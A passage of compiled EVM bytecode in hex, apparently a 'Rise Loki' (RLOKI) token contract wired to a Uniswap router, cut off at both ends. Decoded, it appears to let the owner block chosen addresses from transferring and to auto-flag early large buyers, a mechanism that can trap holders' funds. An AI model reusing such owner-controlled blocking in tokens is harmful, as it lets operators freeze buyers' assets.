5b610dd7565b60405161048a9190614090565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613eae565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e0919061396f565b610e7f565b6040516104f29190613e93565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613e93565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906139af565b610eb2565b005b34801561055b57600080fd5b506105646110c2565b005b34801561057257600080fd5b5061057b61113c565b005b34801561058957600080fd5b50610592611208565b60405161059f9190614090565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca9190613882565b61123a565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906138dc565b61132a565b6040516106059190614090565b60405180910390f35b34801561061a57600080fd5b506106236113b1565b005b60606040518060400160405280600b81526020017f2052697365204c6f6b6920000000000000000000000000000000000000000000815250905090565b600061067661066f6118c3565b84846118cb565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611a96565b61075f846106aa6118c3565b61075a856040518060600160405280602881526020016148aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107106118c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b6b9092919063ffffffff16565b6118cb565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c46118c3565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90613f70565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614090565b60405180910390a150565b6108726118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690613fd0565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613e93565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b191906141c6565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a1191906141c6565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a7191906141c6565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad191906141c6565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b9191906142a7565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd96118c3565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612bcf565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d46565b9050919050565b610c636118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790613fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d91906142a7565b612db490919063ffffffff16565b9050919050565b60606040518060400160405280600781526020017f20524c4f4b492000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c6118c3565b8484611a96565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba6118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613fd0565b60405180910390fd5b60005b81518110156110be57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9f57610f9e61444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110335750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110125761101161444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110ab576001600660008484815181106110515761105061444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110b6906143a6565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036118c3565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b600061112e30610c0a565b905061113981612e2f565b50565b6111446118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613fd0565b60405180910390fd5b6001601560146101000a81548160ff0219169083151502179055506078426111f991906141c6565b60178190555043601681905550565b6000611235601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112426118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690613fd0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113b96118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90613fd0565b60405180910390fd5b601560149054906101000a900460ff1615611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d90614050565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061152630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118cb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561156c57600080fd5b505afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a491906138af565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163e91906138af565b6040518363ffffffff1660e01b815260040161165b929190613de0565b602060405180830381600087803b15801561167557600080fd5b505af1158015611689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ad91906138af565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061173630610c0a565b600080611741610dae565b426040518863ffffffff1660e01b815260040161176396959493929190613e32565b6060604051808303818588803b15801561177c57600080fd5b505af1158015611790573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117b59190613a7f565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186d929190613e09565b602060405180830381600087803b15801561188757600080fd5b505af115801561189b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118bf9190613a25565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561193b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193290614030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290613f10565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a899190614090565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90614010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6d90613ed0565b60405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090613ff0565b60405180910390fd5b611bc1610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612aa857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ce157600080fd5b6001601654611cf091906141c6565b4311158015611d00575060105481145b15611f1f57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611db15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e13576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f1e565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611ebf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f1d576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661202c576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120d75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126b557601560149054906101000a900460ff16612181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217890614070565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546121d191906141c6565b421115612221576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156122d957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906122bf906143a6565b91905055506005600a819055506005600b81905550612515565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561239157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000815480929190612377906143a6565b91905055506004600a819055506004600b81905550612514565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561244957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061242f906143a6565b91905055506003600a819055506003600b81905550612513565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561250157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124e7906143a6565b91905055506002600a819055506002600b81905550612512565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff16156126b4574260175411156126605760105481111561258857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390613f30565b60405180910390fd5b602d4261261991906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f4261266d91906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006126c030610c0a565b9050601560169054906101000a900460ff1615801561272d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127455750601560149054906101000a900460ff165b15612aa65760158054906101000a900460ff16156127e25742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890613f90565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461283891906141c6565b42111561284857600a9050612970565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461289891906141c6565b4211156128a857600f905061296f565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128f891906141c6565b421115612908576014905061296e565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461295891906141c6565b421115612968576019905061296d565b602390505b5b5b5b612997600a612989600484612db490919063ffffffff16565b6130b790919063ffffffff16565b600a819055506129c4600a6129b6600684612db490919063ffffffff16565b6130b790919063ffffffff16565b600b819055506000821115612a8b57612a256064612a17600c54612a09601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b821115612a8157612a7e6064612a70600c54612a62601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b91505b612a8a82612e2f565b5b60004790506000811115612aa357612aa247612bcf565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b4f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5957600090505b612b6584848484613101565b50505050565b6000838311158290612bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baa9190613eae565b60405180910390fd5b5060008385612bc291906142a7565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c1f6002846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612c4a573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9b6004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cc6573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d176004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d42573d6000803e3d6000fd5b5050565b6000600854821115612d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8490613ef0565b60405180910390fd5b6000612d9761312e565b9050612dac81846130b790919063ffffffff16565b915050919050565b600080831415612dc75760009050612e29565b60008284612dd5919061424d565b9050828482612de4919061421c565b14612e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1b90613fb0565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612e6757612e6661447c565b5b604051908082528060200260200182016040528015612e955781602001602082028036833780820191505090505b5090503081600081518110612ead57612eac61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612f4f57600080fd5b505afa158015612f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f8791906138af565b81600181518110612f9b57612f9a61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061300230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118cb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130669594939291906140ab565b600060405180830381600087803b15801561308057600080fd5b505af1158015613094573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006130f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613159565b905092915050565b8061310f5761310e6131bc565b5b61311a8484846131ff565b80613128576131276133ca565b5b50505050565b600080600061313b6133de565b9150915061315281836130b790919063ffffffff16565b9250505090565b600080831182906131a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131979190613eae565b60405180910390fd5b50600083856131af919061421c565b9050809150509392505050565b6000600a541480156131d057506000600b54145b156131da576131fd565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b60008060008060008061321187613440565b95509550955095509550955061326f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335081613550565b61335a848361360d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516133b79190614090565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea000009050613414683635c9adc5dea000006008546130b790919063ffffffff16565b82101561343357600854683635c9adc5dea0000093509350505061343c565b81819350935050505b9091565b600080600080600080600080600061345d8a600a54600b54613647565b925092509250600061346d61312e565b905060008060006134808e8787876136dd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006134ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b6b565b905092915050565b600080828461350191906141c6565b905083811015613546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353d90613f50565b60405180910390fd5b8091505092915050565b600061355a61312e565b905060006135718284612db490919063ffffffff16565b90506135c581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613622826008546134a890919063ffffffff16565b60088190555061363d816009546134f290919063ffffffff16565b6009819055505050565b6000806000806136736064613665888a612db490919063ffffffff16565b6130b790919063ffffffff16565b9050600061369d606461368f888b612db490919063ffffffff16565b6130b790919063ffffffff16565b905060006136c6826136b8858c6134a890919063ffffffff16565b6134a890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806136f68589612db490919063ffffffff16565b9050600061370d8689612db490919063ffffffff16565b905060006137248789612db490919063ffffffff16565b9050600061374d8261373f85876134a890919063ffffffff16565b6134a890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061377961377484614145565b614120565b9050808382526020820190508285602086028201111561379c5761379b6144b0565b5b60005b858110156137cc57816137b288826137d6565b84526020840193506020830192505060018101905061379f565b5050509392505050565b6000813590506137e581614864565b92915050565b6000815190506137fa81614864565b92915050565b600082601f830112613815576138146144ab565b5b8135613825848260208601613766565b91505092915050565b60008135905061383d8161487b565b92915050565b6000815190506138528161487b565b92915050565b60008135905061386781614892565b92915050565b60008151905061387c81614892565b92915050565b600060208284031215613898576138976144ba565b5b60006138a6848285016137d6565b91505092915050565b6000602082840312156138c5576138c46144ba565b5b60006138d3848285016137eb565b91505092915050565b600080604083850312156138f3576138f26144ba565b5b6000613901858286016137d6565b9250506020613912858286016137d6565b9150509250929050565b600080600060608486031215613935576139346144ba565b5b6000613943868287016137d6565b9350506020613954868287016137d6565b925050604061396586828701613858565b9150509250925092565b60008060408385031215613986576139856144ba565b5b6000613994858286016137d6565b92505060206139a585828601613858565b9150509250929050565b6000602082840312156139c5576139c46144ba565b5b600082013567ffffffffffffffff8111156139e3576139e26144b5565b5b6139ef84828501613800565b91505092915050565b600060208284031215613a0e57613a0d6144ba565b5b6000613a1c8482850161382e565b91505092915050565b600060208284031215613a3b57613a3a6144ba565b5b6000613a4984828501613843565b91505092915050565b600060208284031215613a6857613a676144ba565b5b6000613a7684828501613858565b91505092915050565b600080600060608486031215613a9857613a976144ba565b5b6000613aa68682870161386d565b9350506020613ab78682870161386d565b9250506040613ac88682870161386d565b9150509250925092565b6000613ade8383613aea565b60208301905092915050565b613af3816142db565b82525050565b613b02816142db565b82525050565b6000613b1382614181565b613b1d81856141a4565b9350613b2883614171565b8060005b83811015613b59578151613b408882613ad2565b9750613b4b83614197565b925050600181019050613b2c565b5085935050505092915050565b613b6f816142ed565b82525050565b613b7e81614330565b82525050565b6000613b8f8261418c565b613b9981856141b5565b9350613ba9818560208601614342565b613bb2816144bf565b840191505092915050565b6000613bca6023836141b5565b9150613bd5826144d0565b604082019050919050565b6000613bed602a836141b5565b9150613bf88261451f565b604082019050919050565b6000613c106022836141b5565b9150613c1b8261456e565b604082019050919050565b6000613c336022836141b5565b9150613c3e826145bd565b604082019050919050565b6000613c56601b836141b5565b9150613c618261460c565b602082019050919050565b6000613c796015836141b5565b9150613c8482614635565b602082019050919050565b6000613c9c6023836141b5565b9150613ca78261465e565b604082019050919050565b6000613cbf6021836141b5565b9150613cca826146ad565b604082019050919050565b6000613ce26020836141b5565b9150613ced826146fc565b602082019050919050565b6000613d056029836141b5565b9150613d1082614725565b604082019050919050565b6000613d286025836141b5565b9150613d3382614774565b604082019050919050565b6000613d4b6024836141b5565b9150613d56826147c3565b604082019050919050565b6000613d6e6017836141b5565b9150613d7982614812565b602082019050919050565b6000613d916018836141b5565b9150613d9c8261483b565b602082019050919050565b613db081614319565b82525050565b613dbf81614323565b82525050565b6000602082019050613dda6000830184613af9565b92915050565b6000604082019050613df56000830185613af9565b613e026020830184613af9565b9392505050565b6000604082019050613e1e6000830185613af9565b613e2b6020830184613da7565b9392505050565b600060c082019050613e476000830189613af9565b613e546020830188613da7565b613e616040830187613b75565b613e6e6060830186613b75565b613e7b6080830185613af9565b613e8860a0830184613da7565b979650505050505050565b6000602082019050613ea86000830184613b66565b92915050565b60006020820190508181036000830152613ec88184613b84565b905092915050565b60006020820190508181036000830152613ee981613bbd565b9050919050565b60006020820190508181036000830152613f0981613be0565b9050919050565b60006020820190508181036000830152613f2981613c03565b9050919050565b60006020820190508181036000830152613f4981613c26565b9050919050565b60006020820190508181036000830152613f6981613c49565b9050919050565b60006020820190508181036000830152613f8981613c6c565b9050919050565b60006020820190508181036000830152613fa981613c8f565b9050919050565b60006020820190508181036000830152613fc981613cb2565b9050919050565b60006020820190508181036000830152613fe981613cd5565b9050919050565b6000602082019050818103600083015261400981613cf8565b9050919050565b6000602082019050818103600083015261402981613d1b565b9050919050565b6000602082019050818103600083015261404981613d3e565b9050919050565b6000602082019050818103600083015261406981613d61565b9050919050565b6000602082019050818103600083015261408981613d84565b9050919050565b60006020820190506140a56000830184613da7565b92915050565b600060a0820190506140c06000830188613da7565b6140cd6020830187613b75565b81810360408301526140df8186613b08565b90506140ee6060830185613af9565b6140fb6080830184613da7565b9695505050505050565b600060208201905061411a6000830184613db6565b92915050565b600061412a61413b565b90506141368282614375565b919050565b6000604051905090565b600067ffffffffffffffff8211156141605761415f61447c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006141d182614319565b91506141dc83614319565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614211576142106143ef565b5b828201905092915050565b600061422782614319565b915061423283614319565b9250826142425761424161441e565b5b828204905092915050565b600061425882614319565b915061426383614319565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561429c5761429b6143ef565b5b828202905092915050565b60006142b282614319565b91506142bd83614319565b9250828210156142d0576142cf6143ef565b5b828203905092915050565b60006142e6826142f9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061433b82614319565b9050919050565b60005b83811015614360578082015181840152602081019050614345565b8381111561436f576000848401525b50505050565b61437e826144bf565b810181811067ffffffffffffffff8211171561439d5761439c61447c565b5b80604052505050565b60006143b182614319565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143e4576143e36143ef565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f737300000000000000000000000000